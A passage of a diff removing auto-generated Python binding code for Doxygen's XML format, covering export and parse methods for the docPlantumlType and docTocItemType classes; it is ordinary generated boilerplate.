namespacedef_, name_='docPlantumlType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docPlantumlType'): - if self.name is not None and 'name' not in already_processed: - already_processed.add('name') - outfile.write(' name=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.name), input_name='name')), )) - if self.width is not None and 'width' not in already_processed: - already_processed.add('width') - outfile.write(' width=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.width), input_name='width')), )) - if self.height is not None and 'height' not in already_processed: - already_processed.add('height') - outfile.write(' height=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.height), input_name='height')), )) - if self.caption is not None and 'caption' not in already_processed: - already_processed.add('caption') - outfile.write(' caption=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.caption), input_name='caption')), )) - if self.engine is not None and 'engine' not in already_processed: - already_processed.add('engine') - outfile.write(' engine=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.engine), input_name='engine')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docPlantumlType', fromsubclass_=False, pretty_print=True): - if not fromsubclass_: - for item_ in self.content_: - item_.export(outfile, level, item_.name, namespaceprefix_, pretty_print=pretty_print) - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - for ulink_ in self.ulink: - namespaceprefix_ = self.ulink_nsprefix_ + ':' if (UseCapturedNS_ and self.ulink_nsprefix_) else '' - ulink_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='ulink', pretty_print=pretty_print) - for bold_ in self.bold: - namespaceprefix_ = self.bold_nsprefix_ + ':' if (UseCapturedNS_ and self.bold_nsprefix_) else '' - bold_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='bold', pretty_print=pretty_print) - for s_ in self.s: - namespaceprefix_ = self.s_nsprefix_ + ':' if (UseCapturedNS_ and self.s_nsprefix_) else '' - s_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='s', pretty_print=pretty_print) - for strike_ in self.strike: - namespaceprefix_ = self.strike_nsprefix_ + ':' if (UseCapturedNS_ and self.strike_nsprefix_) else '' - strike_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='strike', pretty_print=pretty_print) - for underline_ in self.underline: - namespaceprefix_ = self.underline_nsprefix_ + ':' if (UseCapturedNS_ and self.underline_nsprefix_) else '' - underline_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='underline', pretty_print=pretty_print) - for emphasis_ in self.emphasis: - namespaceprefix_ = self.emphasis_nsprefix_ + ':' if (UseCapturedNS_ and self.emphasis_nsprefix_) else '' - emphasis_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='emphasis', pretty_print=pretty_print) - for computeroutput_ in self.computeroutput: - namespaceprefix_ = self.computeroutput_nsprefix_ + ':' if (UseCapturedNS_ and self.computeroutput_nsprefix_) else '' - computeroutput_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='computeroutput', pretty_print=pretty_print) - for subscript_ in self.subscript: - namespaceprefix_ = self.subscript_nsprefix_ + ':' if (UseCapturedNS_ and self.subscript_nsprefix_) else '' - subscript_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='subscript', pretty_print=pretty_print) - for superscript_ in self.superscript: - namespaceprefix_ = self.superscript_nsprefix_ + ':' if (UseCapturedNS_ and self.superscript_nsprefix_) else '' - superscript_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='superscript', pretty_print=pretty_print) - for center_ in self.center: - namespaceprefix_ = self.center_nsprefix_ + ':' if (UseCapturedNS_ and self.center_nsprefix_) else '' - center_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='center', pretty_print=pretty_print) - for small_ in self.small: - namespaceprefix_ = self.small_nsprefix_ + ':' if (UseCapturedNS_ and self.small_nsprefix_) else '' - small_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='small', pretty_print=pretty_print) - for cite_ in self.cite: - namespaceprefix_ = self.cite_nsprefix_ + ':' if (UseCapturedNS_ and self.cite_nsprefix_) else '' - cite_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='cite', pretty_print=pretty_print) - for del_ in self.del_: - namespaceprefix_ = self.del__nsprefix_ + ':' if (UseCapturedNS_ and self.del__nsprefix_) else '' - del_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='del', pretty_print=pretty_print) - for ins_ in self.ins: - namespaceprefix_ = self.ins_nsprefix_ + ':' if (UseCapturedNS_ and self.ins_nsprefix_) else '' - ins_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='ins', pretty_print=pretty_print) - for htmlonly_ in self.htmlonly: - namespaceprefix_ = self.htmlonly_nsprefix_ + ':' if (UseCapturedNS_ and self.htmlonly_nsprefix_) else '' - htmlonly_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='htmlonly', pretty_print=pretty_print) - for manonly_ in self.manonly: - namespaceprefix_ = self.manonly_nsprefix_ + ':' if (UseCapturedNS_ and self.manonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%smanonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(manonly_), input_name='manonly')), namespaceprefix_ , eol_)) - for xmlonly_ in self.xmlonly: - namespaceprefix_ = self.xmlonly_nsprefix_ + ':' if (UseCapturedNS_ and self.xmlonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sxmlonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(xmlonly_), input_name='xmlonly')), namespaceprefix_ , eol_)) - for rtfonly_ in self.rtfonly: - namespaceprefix_ = self.rtfonly_nsprefix_ + ':' if (UseCapturedNS_ and self.rtfonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%srtfonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(rtfonly_), input_name='rtfonly')), namespaceprefix_ , eol_)) - for latexonly_ in self.latexonly: - namespaceprefix_ = self.latexonly_nsprefix_ + ':' if (UseCapturedNS_ and self.latexonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%slatexonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(latexonly_), input_name='latexonly')), namespaceprefix_ , eol_)) - for docbookonly_ in self.docbookonly: - namespaceprefix_ = self.docbookonly_nsprefix_ + ':' if (UseCapturedNS_ and self.docbookonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sdocbookonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(docbookonly_), input_name='docbookonly')), namespaceprefix_ , eol_)) - for image_ in self.image: - namespaceprefix_ = self.image_nsprefix_ + ':' if (UseCapturedNS_ and self.image_nsprefix_) else '' - image_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='image', pretty_print=pretty_print) - for dot_ in self.dot: - namespaceprefix_ = self.dot_nsprefix_ + ':' if (UseCapturedNS_ and self.dot_nsprefix_) else '' - dot_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='dot', pretty_print=pretty_print) - for msc_ in self.msc: - namespaceprefix_ = self.msc_nsprefix_ + ':' if (UseCapturedNS_ and self.msc_nsprefix_) else '' - msc_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='msc', pretty_print=pretty_print) - for plantuml_ in self.plantuml: - namespaceprefix_ = self.plantuml_nsprefix_ + ':' if (UseCapturedNS_ and self.plantuml_nsprefix_) else '' - plantuml_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='plantuml', pretty_print=pretty_print) - for anchor_ in self.anchor: - namespaceprefix_ = self.anchor_nsprefix_ + ':' if (UseCapturedNS_ and self.anchor_nsprefix_) else '' - anchor_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='anchor', pretty_print=pretty_print) - for formula_ in self.formula: - namespaceprefix_ = self.formula_nsprefix_ + ':' if (UseCapturedNS_ and self.formula_nsprefix_) else '' - formula_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='formula', pretty_print=pretty_print) - for ref_ in self.ref: - namespaceprefix_ = self.ref_nsprefix_ + ':' if (UseCapturedNS_ and self.ref_nsprefix_) else '' - ref_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='ref', pretty_print=pretty_print) - for emoji_ in self.emoji: - namespaceprefix_ = self.emoji_nsprefix_ + ':' if (UseCapturedNS_ and self.emoji_nsprefix_) else '' - emoji_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='emoji', pretty_print=pretty_print) - for linebreak_ in self.linebreak: - namespaceprefix_ = self.linebreak_nsprefix_ + ':' if (UseCapturedNS_ and self.linebreak_nsprefix_) else '' - linebreak_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='linebreak', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - self.valueOf_ = get_all_text_(node) - if node.text is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', node.text) - self.content_.append(obj_) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('name', node) - if value is not None and 'name' not in already_processed: - already_processed.add('name') - self.name = value - value = find_attr_value_('width', node) - if value is not None and 'width' not in already_processed: - already_processed.add('width') - self.width = value - value = find_attr_value_('height', node) - if value is not None and 'height' not in already_processed: - already_processed.add('height') - self.height = value - value = find_attr_value_('caption', node) - if value is not None and 'caption' not in already_processed: - already_processed.add('caption') - self.caption = value - value = find_attr_value_('engine', node) - if value is not None and 'engine' not in already_processed: - already_processed.add('engine') - self.engine = value - self.validate_DoxPlantumlEngine(self.engine) # validate type DoxPlantumlEngine - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'ulink': - obj_ = docURLLink.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'ulink', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_ulink'): - self.add_ulink(obj_.value) - elif hasattr(self, 'set_ulink'): - self.set_ulink(obj_.value) - elif nodeName_ == 'bold': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'bold', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_bold'): - self.add_bold(obj_.value) - elif hasattr(self, 'set_bold'): - self.set_bold(obj_.value) - elif nodeName_ == 's': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 's', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_s'): - self.add_s(obj_.value) - elif hasattr(self, 'set_s'): - self.set_s(obj_.value) - elif nodeName_ == 'strike': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'strike', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_strike'): - self.add_strike(obj_.value) - elif hasattr(self, 'set_strike'): - self.set_strike(obj_.value) - elif nodeName_ == 'underline': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'underline', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_underline'): - self.add_underline(obj_.value) - elif hasattr(self, 'set_underline'): - self.set_underline(obj_.value) - elif nodeName_ == 'emphasis': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'emphasis', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_emphasis'): - self.add_emphasis(obj_.value) - elif hasattr(self, 'set_emphasis'): - self.set_emphasis(obj_.value) - elif nodeName_ == 'computeroutput': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'computeroutput', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_computeroutput'): - self.add_computeroutput(obj_.value) - elif hasattr(self, 'set_computeroutput'): - self.set_computeroutput(obj_.value) - elif nodeName_ == 'subscript': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'subscript', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_subscript'): - self.add_subscript(obj_.value) - elif hasattr(self, 'set_subscript'): - self.set_subscript(obj_.value) - elif nodeName_ == 'superscript': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'superscript', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_superscript'): - self.add_superscript(obj_.value) - elif hasattr(self, 'set_superscript'): - self.set_superscript(obj_.value) - elif nodeName_ == 'center': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'center', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_center'): - self.add_center(obj_.value) - elif hasattr(self, 'set_center'): - self.set_center(obj_.value) - elif nodeName_ == 'small': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'small', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_small'): - self.add_small(obj_.value) - elif hasattr(self, 'set_small'): - self.set_small(obj_.value) - elif nodeName_ == 'cite': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'cite', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_cite'): - self.add_cite(obj_.value) - elif hasattr(self, 'set_cite'): - self.set_cite(obj_.value) - elif nodeName_ == 'del': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'del', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_del'): - self.add_del(obj_.value) - elif hasattr(self, 'set_del'): - self.set_del(obj_.value) - elif nodeName_ == 'ins': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'ins', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_ins'): - self.add_ins(obj_.value) - elif hasattr(self, 'set_ins'): - self.set_ins(obj_.value) - elif nodeName_ == 'htmlonly': - obj_ = docHtmlOnlyType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'htmlonly', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_htmlonly'): - self.add_htmlonly(obj_.value) - elif hasattr(self, 'set_htmlonly'): - self.set_htmlonly(obj_.value) - elif nodeName_ == 'manonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'manonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'manonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'manonly', valuestr_) - self.content_.append(obj_) - self.manonly_nsprefix_ = child_.prefix - elif nodeName_ == 'xmlonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'xmlonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'xmlonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'xmlonly', valuestr_) - self.content_.append(obj_) - self.xmlonly_nsprefix_ = child_.prefix - elif nodeName_ == 'rtfonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'rtfonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'rtfonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'rtfonly', valuestr_) - self.content_.append(obj_) - self.rtfonly_nsprefix_ = child_.prefix - elif nodeName_ == 'latexonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'latexonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'latexonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'latexonly', valuestr_) - self.content_.append(obj_) - self.latexonly_nsprefix_ = child_.prefix - elif nodeName_ == 'docbookonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'docbookonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'docbookonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'docbookonly', valuestr_) - self.content_.append(obj_) - self.docbookonly_nsprefix_ = child_.prefix - elif nodeName_ == 'image': - obj_ = docImageType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'image', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_image'): - self.add_image(obj_.value) - elif hasattr(self, 'set_image'): - self.set_image(obj_.value) - elif nodeName_ == 'dot': - obj_ = docDotMscType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'dot', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_dot'): - self.add_dot(obj_.value) - elif hasattr(self, 'set_dot'): - self.set_dot(obj_.value) - elif nodeName_ == 'msc': - obj_ = docDotMscType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'msc', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_msc'): - self.add_msc(obj_.value) - elif hasattr(self, 'set_msc'): - self.set_msc(obj_.value) - elif nodeName_ == 'plantuml': - obj_ = docPlantumlType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'plantuml', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_plantuml'): - self.add_plantuml(obj_.value) - elif hasattr(self, 'set_plantuml'): - self.set_plantuml(obj_.value) - elif nodeName_ == 'anchor': - obj_ = docAnchorType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'anchor', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_anchor'): - self.add_anchor(obj_.value) - elif hasattr(self, 'set_anchor'): - self.set_anchor(obj_.value) - elif nodeName_ == 'formula': - obj_ = docFormulaType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'formula', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_formula'): - self.add_formula(obj_.value) - elif hasattr(self, 'set_formula'): - self.set_formula(obj_.value) - elif nodeName_ == 'ref': - obj_ = docRefTextType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'ref', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_ref'): - self.add_ref(obj_.value) - elif hasattr(self, 'set_ref'): - self.set_ref(obj_.value) - elif nodeName_ == 'emoji': - obj_ = docEmojiType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'emoji', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_emoji'): - self.add_emoji(obj_.value) - elif hasattr(self, 'set_emoji'): - self.set_emoji(obj_.value) - elif nodeName_ == 'linebreak': - obj_ = docEmptyType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'linebreak', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_linebreak'): - self.add_linebreak(obj_.value) - elif hasattr(self, 'set_linebreak'): - self.set_linebreak(obj_.value) - if not fromsubclass_ and child_.tail is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', child_.tail) - self.content_.append(obj_) -# end class docPlantumlType - - -class docTocItemType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, id=None, ulink=None, bold=None, s=None, strike=None, underline=None, emphasis=None, computeroutput=None, subscript=None, superscript=None, center=None, small=None, cite=None, del_=None, ins=None, htmlonly=None, manonly=None, xmlonly=None, rtfonly=None, latexonly=None, docbookonly=None, image=None, dot=None, msc=None, plantuml=None, anchor=None, formula=None, ref=None, emoji=None, linebreak=None, valueOf_=None, mixedclass_=None, content_=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.id = _cast(None, id) - self.id_nsprefix_ = None - if ulink is None: - self.ulink = [] - else: - self.ulink = ulink - self.ulink_nsprefix_ = None - if bold is None: - self.bold = [] - else: - self.bold = bold - self.bold_nsprefix_ = None - if s is None: - self.s = [] - else: - self.s = s - self.s_nsprefix_ = None - if strike is None: - self.strike = [] - else: - self.strike = strike - self.strike_nsprefix_ = None - if underline is None: - self.underline = [] - else: - self.underline = underline - self.underline_nsprefix_ = None - if emphasis is None: - self.emphasis = [] - else: - self.emphasis = emphasis - self.emphasis_nsprefix_ = None - if computeroutput is None: - self.computeroutput = [] - else: - self.computeroutput = computeroutput - self.computeroutput_nsprefix_ = None - if subscript is None: - self.subscript = [] - else: - self.subscript = subscript - self.subscript_nsprefix_ = None - if superscript is None: - self.superscript = [] - else: - self.superscript = superscript - self.superscript_nsprefix_ = None - if center is None: - self.center = [] - else: - self.center = center - self.center_nsprefix_ = None - if small is None: - self.small = [] - else: - self.small = small - self.small_nsprefix_ = None - if cite is None: - self.cite = [] - else: - self.cite = cite - self.cite_nsprefix_ = None - if del_ is None: - self.del_ = [] - else: - self.del_ = del_ - self.del__nsprefix_ = None - if ins is None: - self.ins = [] - else: - self.ins = ins - self.ins_nsprefix_ = None - if htmlonly is None: - self.htmlonly = [] - else: - self.htmlonly = htmlonly - self.htmlonly_nsprefix_ = None - if manonly is None: - self.manonly = [] - else: - self.manonly = manonly - self.manonly_nsprefix_ = None - if xmlonly is None: - self.xmlonly = [] - else: - self.xmlonly = xmlonly - self.xmlonly_nsprefix_ = None - if rtfonly is None: - self.rtfonly = [] - else: - self.rtfonly = rtfonly - self.rtfonly_nsprefix_ = None - if latexonly is None: - self.latexonly = [] - else: - self.latexonly = latexonly - self.latexonly_nsprefix_ = None - if docbookonly is None: - self.docbookonly = [] - else: - self.docbookonly = docbookonly - self.docbookonly_nsprefix_ = None - if image is None: - self.image = [] - else: - self.image = image - self.image_nsprefix_ = None - if dot is None: - self.dot = [] - else: - self.dot = dot - self.dot_nsprefix_ = None - if msc is None: - self.msc = [] - else: - self.msc = msc - self.msc_nsprefix_ = None - if plantuml is None: - self.plantuml = [] - else: - self.plantuml = plantuml - self.plantuml_nsprefix_ = None - if anchor is None: - self.anchor = [] - else: - self.anchor = anchor - self.anchor_nsprefix_ = None - if formula is None: - self.formula = [] - else: - self.formula = formula - self.formula_nsprefix_ = None - if ref is None: - self.ref = [] - else: - self.ref = ref - self.ref_nsprefix_ = None - if emoji is None: - self.emoji = [] - else: - self.emoji = emoji - self.emoji_nsprefix_ = None - if linebreak is None: - self.linebreak = [] - else: - self.linebreak = linebreak - self.linebreak_nsprefix_ = None - self.valueOf_ = valueOf_ - if mixedclass_ is None: - self.mixedclass_ = MixedContainer - else: - self.mixedclass_ = mixedclass_ - if content_ is None: - self.content_ = [] - else: - self.content_ = content_ - self.valueOf_ = valueOf_ - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docTocItemType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docTocItemType.subclass: - return docTocItemType.subclass(*args_, **kwargs_) - else: - return docTocItemType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_ulink(self): - return self.ulink - def set_ulink(self, ulink): - self.ulink = ulink - def add_ulink(self, value): - self.ulink.append(value) - def insert_ulink_at(self, index, value): - self.ulink.insert(index, value) - def replace_ulink_at(self, index, value): - self.ulink[index] = value - def get_bold(self): - return self.bold - def set_bold(self, bold): - self.bold = bold - def add_bold(self, value): - self.bold.append(value) - def insert_bold_at(self, index, value): - self.bold.insert(index, value) - def replace_bold_at(self, index, value): - self.bold[index] = value - def get_s(self): - return self.s - def set_s(self, s): - self.s = s - def add_s(self, value): - self.s.append(value) - def insert_s_at(self, index, value): - self.s.insert(index, value) - def replace_s_at(self, index, value): - self.s[index] = value - def get_strike(self): - return self.strike - def set_strike(self, strike): - self.strike = strike - def add_strike(self, value): - self.strike.append(value) - def insert_strike_at(self, index, value): - self.strike.insert(index, value) - def replace_strike_at(self, index, value): - self.strike[index] = value - def get_underline(self): - return self.underline - def set_underline(self, underline): - self.underline = underline - def add_underline(self, value): - self.underline.append(value) - def insert_underline_at(self, index, value): - self.underline.insert(index, value) - def replace_underline_at(self, index, value): - self.underline[index] = value - def get_emphasis(self): - return self.emphasis - def set_emphasis(self, emphasis): - self.emphasis = emphasis - def add_emphasis(self, value): - self.emphasis.append(value) - def insert_emphasis_at(self, index, value): - self.emphasis.insert(index, value) - def replace_emphasis_at(self, index, value): - self.emphasis[index] = value - def get_computeroutput(self): - return self.computeroutput - def set_computeroutput(self, computeroutput): - self.computeroutput = computeroutput - def add_computeroutput(self, value): - self.computeroutput.append(value) - def insert_computeroutput_at(self, index, value): - self.computeroutput.insert(index, value) - def replace_computeroutput_at(self, index, value): - self.computeroutput[index] = value - def get_subscript(self): - return self.subscript - def set_subscript(self, subscript): - self.subscript = subscript - def add_subscript(self, value): - self.subscript.append(value) - def insert_subscript_at(self, index, value): - self.subscript.insert(index, value) - def replace_subscript_at(self, index, value): - self.subscript[index] = value - def get_superscript(self): - return self.superscript - def set_superscript(self, superscript): - self.superscript = superscript - def add_superscript(self, value): - self.superscript.append(value) - def insert_superscript_at(self, index, value): - self.superscript.insert(index, value) - def replace_superscript_at(self, index, value): - self.superscript[index] = value - def get_center(self): - return self.center - def set_center(self, center): - self.center = center - def add_center(self, value): - self.center.append(value) - def insert_center_at(self, index, value): - self.center.insert(index, value) - def replace_center_at(self, index, value): - self.center[index] = value - def get_small(self): - return self.small - def set_small(self, small): - self.small = small - def add_small(self, value): - self.small.append(value) - def insert_small_at(self, index, value): - self.small.insert(index, value) - def replace_small_at(self, index, value): - self.small[index] = value - def get_cite(self): - return self.cite - def set_cite(self, cite): - self.cite = cite - def add_cite(self, value): - self.cite.append(value) - def insert_cite_at(self, index, value): - self.cite.insert(index, value) - def replace_cite_at(self, index, value): - self.cite[index] = value - def get_del(self): - return self.del_ - def set_del(self, del_): - self.del_ = del_ - def add_del(self, value): - self.del_.append(value) - def insert_del_at(self, index, value): - self.del_.insert(index, value) - def replace_del_at(self, index, value): - self.del_[index] = value - def get_ins(self): - return self.ins - def set_ins(self, ins): - self.ins = ins - def add_ins(self, value): - self.ins.append(value) - def insert_ins_at(self, index, value): - self.ins.insert(index, value) - def replace_ins_at(self, index, value): - self.ins[index] = value - def get_htmlonly(self): - return self.htmlonly - def set_htmlonly(self, htmlonly): - self.htmlonly = htmlonly - def add_htmlonly(self, value): - self.htmlonly.append(value) - def insert_htmlonly_at(self, index, value): - self.htmlonly.insert(index, value) - def replace_htmlonly_at(self, index, value): - self.htmlonly[index] = value - def get_manonly(self): - return self.manonly - def set_manonly(self, manonly): - self.manonly = manonly - def add_manonly(self, value): - self.manonly.append(value) - def insert_manonly_at(self, index, value): - self.manonly.insert(index, value) - def replace_manonly_at(self, index, value): - self.manonly[index] = value - def get_xmlonly(self): - return self.xmlonly - def set_xmlonly(self, xmlonly): - self.xmlonly = xmlonly - def add_xmlonly(self, value): - self.xmlonly.append(value) - def insert_xmlonly_at(self, index, value): - self.xmlonly.insert(index, value) - def replace_xmlonly_at(self, index, value): - self.xmlonly[index] = value - def get_rtfonly(self): - return self.rtfonly - def set_rtfonly(self, rtfonly): - self.rtfonly = rtfonly - def add_rtfonly(self, value): - self.rtfonly.append(value) - def insert_rtfonly_at(self, index, value): - 